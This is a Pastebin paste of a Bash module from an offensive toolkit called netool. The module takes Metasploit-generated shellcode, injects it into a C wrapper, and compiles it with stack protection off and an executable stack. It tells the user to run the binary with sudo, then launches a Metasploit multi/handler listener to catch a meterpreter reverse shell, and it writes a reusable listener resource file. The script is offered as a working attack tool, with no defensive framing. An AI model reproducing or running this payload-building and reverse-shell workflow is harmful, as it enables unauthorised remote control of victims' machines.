r00t-3xp10it

[ netool toolkit ] C-INJECTOR funtion

Dec 9th, 2014
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 8.93 KB | None | 0 0
  1. #!/bin/sh
  2. ###########################################################
  3. #      -[ NET00L.SH T00LKIT - C-INJECTOR MODULE ]-        #
  4. #                                                         #
  5. # This script as build to be inserted as a funtion on     #
  6. # netool toolkit and will serve of assistance to execute  #
  7. # shellcode on Unix/Bsd based distros through a C funtion #
  8. #    'THIS SCRIPT WILL NOT WORK OUTSIDE THE TOOLKIT'      #
  9. #---------------------------------------------------------#
  10. #  Author: [r00t-3xp10it] Suspicious Shell Activity Labs  #
  11. #  H0me: peterubuntu10[at]sourceforge[dot]net             #
  12. ###########################################################
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19. # ---------------------------------------------------------------------
  20. # FORM QUERY TO INSERT ON 'PRIV8.SH - SHELLCODE GENERATOR MODULE'
  21. # JUST AFTER THE SHELLCODE BE OUTPUTED INTO TEXT FORMAT (shellcode.txt)
  22. # ---------------------------------------------------------------------
  23. ans=$(zenity --list --title "SHELLCODE GENERATOR" --text "Chose what to do with the generated shellcode\n\nInject shellcode into a C funtion\nStart a metasploit listenner\nOr just leave this module\n\nIf 'Just Leave' as selected then 'shell_listenner.rc'\nWill be writen under: opensource/priv8 if you wish\nTo start a Listenner later with this msf settings." --radiolist --column "Pick" --column "Option" TRUE "exec.c Injector" FALSE "Start a Listenner" FALSE "Just exit" --width 300 --height 320) > /dev/null 2>&1
  24.  
  25.  
  26.  
  27. # -----------------------------------------------
  28. # INJECT SHELLCODE INTO A 'C' FUNTION IF SELECTED
  29. # -----------------------------------------------
  30.   if [ "$ans" "=" "exec.c Injector" ]; then
  31.  
  32. # Variable declarations
  33. H0m3=`echo ~`
  34. Sh3LL="$H0m3/opensource/priv8/shellcode.txt"
  35. InJEc="$H0m3/opensource/modules/exec.c"
  36.  
  37. # -----------------------------------
  38. # checking dependencies
  39. # -----------------------------------
  40.    #check if shellcode.txt exists
  41.    if [ -e $Sh3LL ]; then
  42.    echo ${BlueF}[*]${RedF}::${BlueF}[SHELLCODE]${RedF}::${GreenF}[ FILE FOUND ]${Reset};
  43.    sleep 2
  44.  
  45. else
  46.  
  47.     echo ${RedF}[x]::[SHELLCODE.TXT]::[ NOT FOUND ]${Reset};
  48.     zenity --error --text "Make sure you have build the shellcode befor...\n\nshellcode.txt as to be stored under\n'opensource/priv8' folder Befor it\ncan be Injected into a 'C' funtion." --width 450 > /dev/null 2>&1
  49.     echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO EXIT MODULE]${Reset};    
  50.     read op
  51.     exit
  52.  
  53. fi
  54.  
  55.    #check if injector exists
  56.    if [ -e $InJEc ]; then
  57.    echo ${BlueF}[*]${RedF}::${BlueF}[INJECTOR]${RedF}::${GreenF}[ FILE FOUND ]${Reset};
  58.    sleep 2
  59.  
  60. else
  61.  
  62.     echo ${RedF}[x]::[exec.c]::[ NOT FOUND ]${Reset};
  63.     zenity --error --text "Download the C-INJECTOR from\nMy PasteBin account and place it\nOn 'opensource/modules' folder" --width 330 > /dev/null 2>&1
  64.     echo ${BlueF}[*]${RedF}::${BlueF}[HELP URL]${RedF}::${GreenF}[ http://pastebin.com/WkBEWM8x ]${Reset};
  65.     echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO EXIT MODULE]${Reset};    
  66.     read op
  67.     zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
  68.     exit
  69.  
  70. fi
  71.  
  72.    #check if gcc exists
  73.    c0m=`which gcc`> /dev/null 2>&1
  74.    if [ -e $c0m ]; then
  75.    echo ${BlueF}[*]${RedF}::${BlueF}[GCC]${RedF}::${GreenF}[ INSTALLATION FOUND ]${Reset};
  76.    sleep 2
  77.  
  78. else
  79.  
  80.     echo ${RedF}[x]::[GCC]::[ NOT FOUND ]${Reset};
  81.     zenity --error --text "Install GCC Package Befor Using\nThis 'C-INJECTOR' Module ...\n\nPlease visite my WKI for\nFurther info about gcc." --width 350 > /dev/null 2>&1
  82.     echo ${BlueF}[*]${RedF}::${BlueF}[HELP URL]${RedF}::${GreenF}[ http://goo.gl/hMuCor ]${Reset};
  83.     echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO EXIT MODULE]${Reset};    
  84.     read op
  85.     zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
  86.     exit
  87.  
  88. fi
  89.  
  90.  
  91.  
  92. # -----------------------------------
  93. # BANNER DISPLAY AND MAIN FUNTION
  94. # -----------------------------------
  95. cat << !
  96.       ____       __ __  __    __ _____  ____ _____  _____  _____
  97.      ((          || ||\\||    || ||==  ((     ||   ((   )) ||_//
  98.       \\__ ||    || || \|| |__|| ||___  \\__  ||    \\_//  || \\
  99.  
  100.         Build shellcode in C format using metasploit framework
  101.         "or use shellcode in C output" and execute it on UNIX/BSD
  102.          based distros using this injector, this module allows
  103.          you to run your shellcode outputed in 'C' format.
  104.  
  105. !
  106.     # EDITING/BACKUP FILES NEEDED
  107.     cp $InJEc ~/opensource/modules/exec[bak].c
  108.     zenity --title="Inject the shellcode onto exec.c" --text "copy the generated shellcode from shellcode.txt\ninto the injector Funtion 'unsigned char code[] ='\nReplacing the existing shellcode by our own." --info --width 430 > /dev/null 2>&1
  109.     gedit $InJEc & cat $Sh3LL | zenity --text-info --width 600 > /dev/null 2>&1
  110.  
  111.         # COMPILING SHELLCODE USING GCC
  112.         cd ~/opensource/modules
  113.         echo ${BlueF}[*]${RedF}::${GreenF}[ COMPILING SHELLCODE USING GCC ]:: ${Reset};
  114.         gcc -fno-stack-protector -z execstack exec.c -o shellcode
  115.         mv shellcode ~/opensource/priv8/shellcode
  116.  
  117.      # CLEANING EVERYTHING UP
  118.      mv ~/opensource/modules/exec[bak].c $InJEc
  119.      zenity --title="C-INJECTOR OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode\n\nEXECUTE:\nChmod +x shellcode\nsudo ./shellcode" --info > /dev/null 2>&1
  120.      echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO START A LISTENNER]${Reset};
  121.      read op
  122.  
  123.      # START METASPLOIT LISTENNER (multi-handler with the rigth payload)
  124.      echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${white} starting metasploit listenner... ${Reset};
  125.      echo ${RedF}[x]::[warning]: press [ctrl+c] or [exit] to 'exit' meterpreter shell ${Reset};
  126.      xterm -T "r00tsect0r - Shellcode listenner" -geometry 110x23 -e "msfcli exploit/multi/handler LHOST=$lhost LPORT=$lport PAYLOAD=$paylo E"
  127.      sleep 2
  128.      clear
  129.  
  130.       elif [ "$ans" "=" "Start a Listenner" ]; then
  131.         # START METASPLOIT LISTENNER (multi-handler with the rigth payload)
  132.         zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
  133.         echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${white} starting metasploit listenner... ${Reset};
  134.         echo ${RedF}[x]::[warning]: press [ctrl+c] or [exit] to 'exit' meterpreter shell ${Reset};
  135.         xterm -T "r00tsect0r - Shellcode listenner" -geometry 110x23 -e "msfcli exploit/multi/handler LHOST=$lhost LPORT=$lport PAYLOAD=$paylo E"
  136.         sleep 2
  137.         clear
  138.  
  139.       elif [ "$ans" "=" "Just exit" ]; then
  140.         # QUIT MODULE WITHOUT START A LISTENNER
  141.         echo ${RedF}[x]::[ QUITTING MODULE ]${Reset};
  142.         zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
  143.         echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${GreenF}[ BUILDING RC FILE ] ${Reset};
  144.           # shellcode.txt will be stored under '/opensource/priv8/' and
  145.           # 'shell_listenner.rc' file with msf settings will be stored under
  146.           # '/opensource/priv8/' if we wish to start a listenner later...
  147.           cd ~/opensource/priv8
  148.           touch shell_listenner.rc
  149.           echo "use exploit/multi/handler" >> shell_listenner.rc
  150.           echo "set PAYLOAD $paylo" >> shell_listenner.rc
  151.           echo "set LPORT $lport" >> shell_listenner.rc
  152.           echo "set LHOST $lhost" >> shell_listenner.rc
  153.           echo "set ExitOnSession false" >> shell_listenner.rc
  154.           echo "exploit -j -z" >> shell_listenner.rc
  155.           zenity --info --title "BUILDING RC CONF FILE" --text "How to run your listenner later:\nmsfconsole -r shell_listenner.rc\n\nStorage: /opensource/priv8/" --width 340 > /dev/null 2>&1
  156.         sleep 2
  157.       clear
  158.  
  159.   else
  160.  
  161.     # IN 'PRIV8.SH' WE CHOSE NOT TO RUN ANY OPTION PRESENTED (cancel button)
  162.     echo ${RedF}[x]::[CANCEL OPTION ]::[ QUITTING MODULE ]${Reset};
  163.     zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
  164.     echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${GreenF}[ BUILDING RC FILE ] ${Reset};
  165.       # shellcode.txt will be stored under '/opensource/priv8/' and
  166.       # 'shell_listenner.rc' file with msf settings will be stored under
  167.       # '/opensource/priv8/' if we wish to start a listenner later...
  168.       cd ~/opensource/priv8
  169.       touch shell_listenner.rc
  170.       echo "use exploit/multi/handler" >> shell_listenner.rc
  171.       echo "set PAYLOAD $paylo" >> shell_listenner.rc
  172.       echo "set LPORT $lport" >> shell_listenner.rc
  173.       echo "set LHOST $lhost" >> shell_listenner.rc
  174.       echo "set ExitOnSession false" >> shell_listenner.rc
  175.       echo "exploit -j -z" >> shell_listenner.rc
  176.       zenity --info --title "BUILDING RC CONF FILE" --text "How to run your listenner later:\nmsfconsole -r shell_listenner.rc\n\nStorage: /opensource/priv8/" --width 340 > /dev/null 2>&1
  177.     sleep 2
  178.   clear
  179. fi
  180.  
  181.  
  182.  
  183. # EOF
Advertisement
Add Comment
Please, Sign In to add comment